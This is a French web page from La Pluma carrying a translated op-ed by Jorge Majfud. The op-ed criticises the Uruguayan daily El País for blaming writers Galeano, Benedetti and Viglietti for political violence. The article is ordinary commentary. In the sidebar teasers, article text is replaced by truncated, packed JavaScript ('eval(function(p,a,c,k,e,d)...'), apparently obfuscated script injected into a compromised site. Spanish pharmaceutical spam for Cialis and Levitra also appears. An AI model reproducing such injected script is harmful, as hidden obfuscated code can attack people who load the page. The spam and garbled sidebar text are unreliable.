REDHER - La pluma
Accueil Articles Politique Monde


Uruguay : Haro sur les intellos

Envoyer Imprimer PDF

Jorge_Majfud1Le quotidien El País* de Montevideo (Uruguay),  dans son éditorial du 7 Novembre 2017, crie haro sur les écrivains Eduardo Galeano et Mario Benedetti et l’auteur-compositeur-interprète Daniel Viglietti (disparu le 30 octobre) pour avoir appuyé la violence, les accusant d’avoir été « coresponsables des déviations tragiques d'un secteur de la jeunesse uruguayenne».  

Le simple mot « déviations » rappelle la dictature uruguayenne et bien d'autres, comme la junte argentine,  dont le ministre des Affaires sociales se plaignait que le problème des étudiants était qu'ils avaient trop de temps pour penser et que la « l’excès de pensée produit des déviations ».

Pas un mot sur  la violence chronique qu'El País a soutenue, avant, pendant et après la dictature, rien. Ainsi donc, dans un continent en proie à des dictatures brutales, des assassinats de masse, racistes et de classe, un siècle avant que la Guerre froide serve de prétexte à plus d'oppression et de tueries, les intellectuels auraient été les promoteurs de la violence.

Pas les généraux qui ont ordonné la disparition des dissidents, qui violaient et torturaient à volonté, beaucoup d'entre eux conseillés par des nazis (comme Klaus Barbie) protégés des puissances "du monde libre".

Pas les grands patrons qui téléphonaient au gouvernement usaméricain pour soutenir un petit putsch par-ci, un petit putsch par-là.

Pas les grands propriétaires fonciers qui disposaient de leurs péons et de leurs enfants comme de leur bétail.

Pas des commissaires qui ont appris les techniques de torture dans des écoles internationales.

Pas de ceux qui dépensaient des millions de dollars pour acheter des armes ou des opinions dans les médias.

Pas les propriétaires des grands médias qui ont manipulé l'opinion publique ou simplement caché la réalité avec beaucoup de fumée pour perpétuer l'état semi-féodal.

Oh, non, ils étaient tous des hommes responsables et modérés, des citoyens honorables prêts à se sacrifier pour la Patrie. Tous répétaient qu'ils avaient servi le pays pour ne pas dire que le pays les avait servis.

Non, bien sûr, les radicaux dangereux étaient ces intellectuels qui utilisaient des idées et des mots radicaux. Ces radicaux dangereux à cause  desquels l'Amérique latine était comme elle était et si elle n'était pas pire, c’était grâce aux dictatures qui ont servi à une minuscule classe d’ exportateurs et  d’exploiteurs pendant plus d'un siècle, soutenue par ses  armées, ses écoles, ses églises et ses grands médias.

Certes, l'Uruguay n’a pas été le pire cas en Amérique latine. C'était peut-être presque une exception, précisément à cause de son niveau d'éducation précoce et de ses figures critiques. Mais ces putains d’intellos pointés du doigt par El País ne limitaient pas leurs critiques à leur propre pays, qui les méritait (ou non ?), mais surtout ils l’étendaient à la réalité mille fois plus brutale de l'Amérique latine et à ses implications logiques avec l'impérialisme international ( quelque chose qui, de toute évidence, n'existait pas pour El País et beaucoup de ses lecteurs).

NdT

Principal quotidien uruguayen, El País, fondé en 1918, a toujours été lié aux « Blancs », les conservateurs issus des grands propriétaires fonciers et grands éleveurs, opposés aux « Rouges », réformistes et progressistes. Il a apporté un soutien inconditionnel à la dictature (1973-1985), censée avoir sauvé la nation du « chaos », de la « ruine » et de la menace du « totalitarisme marxiste ». Ci-dessous un exemple de Une, du 28 juin 1975. Le journal annonce la capture de 20 « factieux » (des guérilléros urbains du MLN-Tupamaros) au cours d’une opération où 3 « meneurs » ont été abattus. Comble du scandale : les « terroristes » avaient un arsenal contenant des « grenades argentines ».

 

http://tlaxcala-int.org/upload/gal_17550.jpg

Jorge Majfud

Original: Uruguay: La culpa es de los intelectuales

Traduit par  Fausto Giudice Фаусто Джудиче فاوستو جيوديشي

Source : Tlaxcala, le 4 décembre 2017


 
Plus d'articles :

» L’Argentine dans la tourmente

Le président argentin, Mauricio Macri, a annoncé, lundi 3 septembre, un brutal plan d’austérité sous supervision du FMI. Le peuple exprime sa colère face à la hausse des prix et les coupes budgétaireDix-sept ans après la crise de 2001...

» Ton changement n'est pas le mien. Lettre ouverte au gouvernement argentin

Le  eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Psychopolitique de l'épouvantail

Le président Donald Trump vient d'annoncer qu'en réponse à la liste interminable de livres qui le critiquent (en particulier les livres écrits par ses anciens amis et hommes de confiance, qui sont désormais presque tous dans ce cas), la Maison...

» Allende, pour mémoire

Reprendre les rêves des majorités laissés inachevés par le renversement et la mort du président Salvador Allende, le 11 septembre 1973, est aujourd'hui la grande tâche nationale : ce sont des aspirations à une démocratie réelle, à...

» Non, l’ONU n’a pas accusé la Chine de détenir des musulmans ouïghours dans des 'camps'

De Reuters à The Intercept, les médias ont faussement prétendu que l’ONU avait accusé la Chine de détenir un million d'Ouïghours dans des camps. L’accusation est fondée sur des allégations infondées de deux membres de comités...

» Le déchoucaj en Haïti : chuchotements futuristes d’un passé révolutionnaire

En juillet 2018, des manifestations contre le gouvernement ont éclaté en Haïti, prenant rapidement de l’ampleur.L’élément déclencheur des manifestations fut la décision du gouvernement du Premier ministre Jack Guy Lafontant d’augmenter...

» Crise monétaire au Venezuela

Quand eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Brésil: la grande désillusion

Les eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» De l’ubiquité du mal La campagne contre Jeremy Corbyn, "menace existentielle pour les Juifs"

Pour eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» La voix dissonante du Forum de São Paulo

La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

Ajouter un Commentaire


Code de sécurité
Rafraîchir

Gracias, pero con Cialis soft intentaron sin embargo, lo que los medicamentos como el Viagra comprar-cialis.net

Les dossiers brûlants d'actualité

 

Éditorial La Pluma n ° 1: À tou.tes

Nous eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};...

 

Venezuela: la parole au Pouvoir constituant originel, le peuple !

« Dans eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){retur...
Uno Levitra Professional es de los MEDICAMENTOS mas Comunes comprar levitra en-linea

Compteur des visites

mod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_counter
mod_vvisit_counterAujourd'hui5878
mod_vvisit_counterHier12444
mod_vvisit_counterCette semaine5878
mod_vvisit_countersemaine précedente86228
mod_vvisit_counterCe-mois-ci222525
mod_vvisit_countermois précedent332053

We have: 157 guests online
Ton IP: 54.198.205.153
 , 
Aujourd'hui: 23 Sep 2018